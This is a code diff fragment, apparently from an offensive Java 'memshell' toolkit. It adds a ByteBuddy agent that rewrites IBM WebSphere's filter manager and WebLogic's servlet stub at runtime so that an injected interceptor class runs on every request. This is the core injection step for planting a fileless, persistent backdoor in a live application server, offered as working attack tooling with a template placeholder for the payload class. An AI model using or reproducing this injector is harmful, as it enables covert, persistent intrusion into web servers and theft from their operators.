System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("weblogic.servlet.internal.ServletStubImpl"))
.transform(new WebLogicServletStubAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute");
}
}
@@ -0,0 +1,63 @@
package com.reajason.javaweb.memshell.websphere.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
.transform(new WebSphereFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters");
}
}